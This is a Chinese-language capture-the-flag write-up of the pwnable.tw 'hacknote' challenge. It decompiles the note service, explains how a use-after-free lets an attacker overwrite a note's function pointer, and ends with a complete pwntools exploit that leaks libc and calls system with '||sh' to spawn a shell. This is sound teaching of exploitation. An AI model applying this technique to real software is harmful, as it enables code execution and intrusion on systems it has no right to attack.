Before all
所以為什麼我會想來看heap…
前一篇寫的筆記: https://wha13.github.io/2024/11/06/mfheap
Recon
題目給了hacknote這支程式和libc,都先來檢查看看:
libc版本
在打heap的時候libc版本特別重要:
1
| strings libc_32.so.6 | grep GLIBC
|
2.23,基本上沒防護
checksec
1
| checksec --file=hacknote
|
沒開pie,.text固定
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| void __cdecl __noreturn main() { int v0; int v1; int v2; int v3; char v4[4]; unsigned int v5;
v5 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { show_infos(); read(0, v4, 4); v0 = atoi(v4); if ( v0 != 2 ) break; delete_note_free(); } if ( v0 > 2 ) { if ( v0 == 3 ) { print_note(); } else { if ( v0 == 4 ) exit(0, v1, v2, v3); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; write_note_malloc(); } } }
|
函數名稱我有在ida另外改過,比較知道功能是什麼zzz
打開大概就是一個像這樣的選單式筆記服務
write_note_malloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| unsigned int write_note_malloc() { int v0; int v2; int v3; int v4; int v5; int v6; int i; int v8; char v9[8]; unsigned int v10;
v10 = __readgsdword(0x14u); if ( dword_804A04C <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !dword_804A050[i] ) { dword_804A050[i] = malloc(8); if ( !dword_804A050[i] ) { puts("Alloca Error"); exit(-1, v2, v4, v6); } *(_DWORD *)dword_804A050[i] = sub_804862B; printf("Note size :"); read(0, v9, 8); v8 = atoi(v9); v0 = dword_804A050[i]; *(_DWORD *)(v0 + 4) = malloc(v8); if ( !*(_DWORD *)(dword_804A050[i] + 4) ) { puts("Alloca Error"); exit(-1, v3, v5, v6); } printf("Content :"); read(0, *(_DWORD *)(dword_804A050[i] + 4), v8); puts("Success !"); ++dword_804A04C; return __readgsdword(0x14u) ^ v10; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v10; }
|
觀察下,有個全域的array dword_804A050專門放申請的空間(8 bytes),首先會先往它推一個 4 bytes 的 sub_804862B 函數(就是puts),接下來會在+4的地方再申請一塊記憶體(筆記大小)
也就是說那邊的heap結構會長這樣:[4 bytes指向puts]+[4 bytes指向筆記地址]
然後最多只能有五篇筆記,也就是在tcache範圍內完成任務
print_note
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| unsigned int print_note() { int v1; int v2; int v3; int v4; char v5[4]; unsigned int v6;
v6 = __readgsdword(0x14u); printf("Index :"); read(0, v5, 4); v4 = atoi(v5); if ( v4 < 0 || v4 >= dword_804A04C ) { puts("Out of bound!"); _exit(0, v1, v2, v3); } if ( dword_804A050[v4] ) (*(void (__cdecl **)(int))dword_804A050[v4])(dword_804A050[v4]); return __readgsdword(0x14u) ^ v6; }
|
它會去讀取輸入的id,取出dword_804A050對應的內容,並以該處的資料當函數呼叫,取出+4的內容作為參數處理
很有趣ㄅ~~
看到這邊大概就會感覺到之後的攻擊是要抽換呼叫的函數地址進行RCE
delete_note_free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned int delete_note_free() { int v1; int v2; int v3; int v4; char v5[4]; unsigned int v6;
v6 = __readgsdword(0x14u); printf("Index :"); read(0, v5, 4); v4 = atoi(v5); if ( v4 < 0 || v4 >= dword_804A04C ) { puts("Out of bound!"); _exit(0, v1, v2, v3); } if ( dword_804A050[v4] ) { free(*(_DWORD *)(dword_804A050[v4] + 4)); free(dword_804A050[v4]); puts("Success"); } return __readgsdword(0x14u) ^ v6; }
|
會根據輸入的id去把對應的筆記地址及整個 8 bytes 的記憶體 struct free掉
想一下流程,每次新增筆記會先申請 8 bytes 的記憶體(也就是包在20 bytes的chunk裡面)
接著,會再去按照輸入內容大小產生特定bytes的chunk
那free的行為呢?
每次把文件刪掉都是free掉一個8 bytes的物件和剛剛特定大小的chunk,而且不清空指針有機會產生UAF,而且事實是我們可以建立一個8 bytes(或者產生20bytes大小的chunk),這樣它在往tcachebin請求chunk的時候就會求到兩塊剛剛free進去的struct,完整寫入剛剛的struct
別忘記print_note,達成UAF後就是跳libc的老招術,首先透過請求got上的資料算出libc_base,最後再跳 libc 的 system 傳sh
進去即可
嗎?
沒有,我卡在sh好久,最後試出||sh
的方法,但google下全世界好像都用;sh;
…
Exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * r=remote('chall.pwnable.tw', 10102)
context.arch='i386' libc=ELF('libc_32.so.6') elf=ELF('hacknote')
def add_note(size, msg): r.sendlineafter(b':', b'1') r.sendlineafter(b':', str(size).encode()) r.sendafter(b':', msg)
def delete_note(id): r.sendlineafter(b':', b'2') r.sendlineafter(b':', str(id).encode())
def print_note(id): r.sendlineafter(b':', b'3') r.sendlineafter(b':', str(id).encode())
add_note(0x30, b'whale') add_note(0x30, b'meow') delete_note(0) delete_note(1)
add_note(0x8, p32(0x804862B)+p32(elf.got['puts'])) print_note(0) libc_base=u32(r.recv(4))-libc.sym['puts'] info(f"Libc base: {hex(libc_base)}") system_addr=libc_base+libc.sym['system'] delete_note(2) add_note(0x8, p32(system_addr)+b'||sh') print_note(0)
r.interactive()
|
After all
PWNED!!